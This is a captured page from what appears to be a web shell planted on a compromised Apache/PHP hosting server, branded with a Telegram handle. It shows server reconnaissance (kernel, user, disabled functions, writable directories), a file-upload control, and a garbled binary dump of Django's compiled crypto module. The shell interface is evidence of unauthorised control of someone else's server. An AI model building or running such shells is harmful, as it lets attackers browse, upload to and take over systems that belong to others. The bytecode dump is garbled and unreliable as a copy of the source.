https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/utils/crypto.pyc
�
r�\c@sLdZddlmZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlZyej�Ze
ZWn0ek
r�ddlZejd�eZnXddlmZddlmZddlmZdd	lmZdd
�Zddd
�Zd�Zd�Zd�Z ddd�Z!dS(u3
Django's standard crypto functions and utilities.
i����(tunicode_literalsN(treduceujA secure pseudo-random number generator is not available on your system. Falling back to Mersenne Twister.(tsettings(tforce_bytes(tsix(txrangecCs\|dkrtj}ntj||jd��j�}tj|dt	|�dtj�S(u�
    Returns the HMAC-SHA1 of 'value', using a key generated from key_salt and a
    secret (which defaults to settings.SECRET_KEY).

    A different key_salt should be passed in for every application of HMAC.
    uutf-8tmsgt	digestmodN(
tNoneRt
SECRET_KEYthashlibtsha1tencodetdigestthmactnewR(tkey_salttvaluetsecrettkey((s5/tmp/pip-install-XxeQeY/django/django/utils/crypto.pytsalted_hmacs"iu>abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789cCsytsJtjtjdtj�tj�tjfj	d��j
��ndjgt|�D]}tj
|�^q]�S(u�
    Returns a securely generated random string.

    The default length of 12 with the a-z, A-Z, 0-9 character set returns
    a 71-bit value. log_2((26+26+10)^12) =~ 71 bits
    u%s%s%suutf-8u(tusing_sysrandomtrandomtseedR
tsha256tgetstatettimeRR	RR
tjointrangetchoice(tlengtht
allowed_charsti((s5/tmp/pip-install-XxeQeY/django/django/utils/crypto.pytget_random_string5s			#cCs�t|�t|�krtSd}tjrzt|t�rzt|t�rzxht||�D]\}}|||AO}qYWn:x7t||�D]&\}}|t|�t|�AO}q�W|dkS(u�
    Returns True if the two strings are equal, False otherwise.

    The time taken is independent of the number of characters that match.

    For the sake of simplicity, this function executes in constant time only
    when the two strings have the same length. It short-circuits when they
    have different lengths. Since Django only uses it to compare hashes of
    known expected length, this is acceptable.
    i(tlentFalseRtPY3t
isinstancetbytestziptord(tval1tval2tresulttxty((s5/tmp/pip-install-XxeQeY/django/django/utils/crypto.pytconstant_time_compareOs'cCsttj|�d�S(uq
    Convert a binary string into a long integer

    This is a clever optimization for fast xor vector math
    i(tinttbinasciithexlify(R,((s5/tmp/pip-install-XxeQeY/django/django/utils/crypto.pyt_bin_to_longfscCstj||jd��S(uw
    Convert a long integer into a binary string.
    hex_format_string is like "%020x" for padding 10 characters.
    uascii(R0t	unhexlifyR(R,thex_format_string((s5/tmp/pip-install-XxeQeY/django/django/utils/crypto.pyt_long_to_binosics��dkst�|s$tj}nt|�}t���|�j}|sW|}n|d|krvtd��n||}||d|}d|d�|�|���t|��jkr�||�j�}n|d�jt|�7}�j	|j
tj���j	|j
tj
�������fd�}gtd|d�D]}	||	�^q[}
d	j|
d
 �|
d
| S(
u
    Implements PBKDF2 as defined in RFC 2898, section 5.2

    HMAC+SHA256 is used as the default pseudo random function.

    As of 2011, 10,000 iterations was the recommended default which
    took 100ms on a 2.2Ghz Core 2 Duo. This is probably the bare
    minimum for security given 1000 iterations was recommended in
    2001. This code is very well optimized for CPython and is only
    four times slower than openssl's implementation. Look in
    django.contrib.auth.hashers for the present default.
    iii iu
dklen too bigu%%0%ixtcs7�����fd�}tttj|����S(Nc3s��tjd��}xjtt���D]V}�j��j�}}|j|�|j|j��|j�}t|�Vq)WdS(Ns>I(tstructtpackRR/tcopytupdateR
R2(tutjtdig1tdig2(R tinnert
iterationstoutertsalt(s5/tmp/pip-install-XxeQeY/django/django/utils/crypto.pytU�s
(R5Rtoperatortxor(R RC(R4R?R@RARB(R s5/tmp/pip-install-XxeQeY/django/django/utils/crypto.pytF�sti����II����(tAssertionErrorR
RRtdigest_sizet
OverflowErrorR"t
block_sizeR
R:t	translateRttrans_36ttrans_5CRR(tpasswordRBR@tdklenR
thlentltrRFR,tT((R4R?R@RARBs5/tmp/pip-install-XxeQeY/django/django/utils/crypto.pytpbkdf2ws,
	,("t__doc__t
__future__RRR7R
R0RDRt	functoolsRRtSystemRandomtTrueRtNotImplementedErrortwarningstwarnR#tdjango.confRtdjango.utils.encodingRtdjango.utilsRtdjango.utils.six.movesRRRR!R.R2R5RU(((s5/tmp/pip-install-XxeQeY/django/django/utils/crypto.pyt<module>s6



				

https://t.me/AnonymousX5 - 2025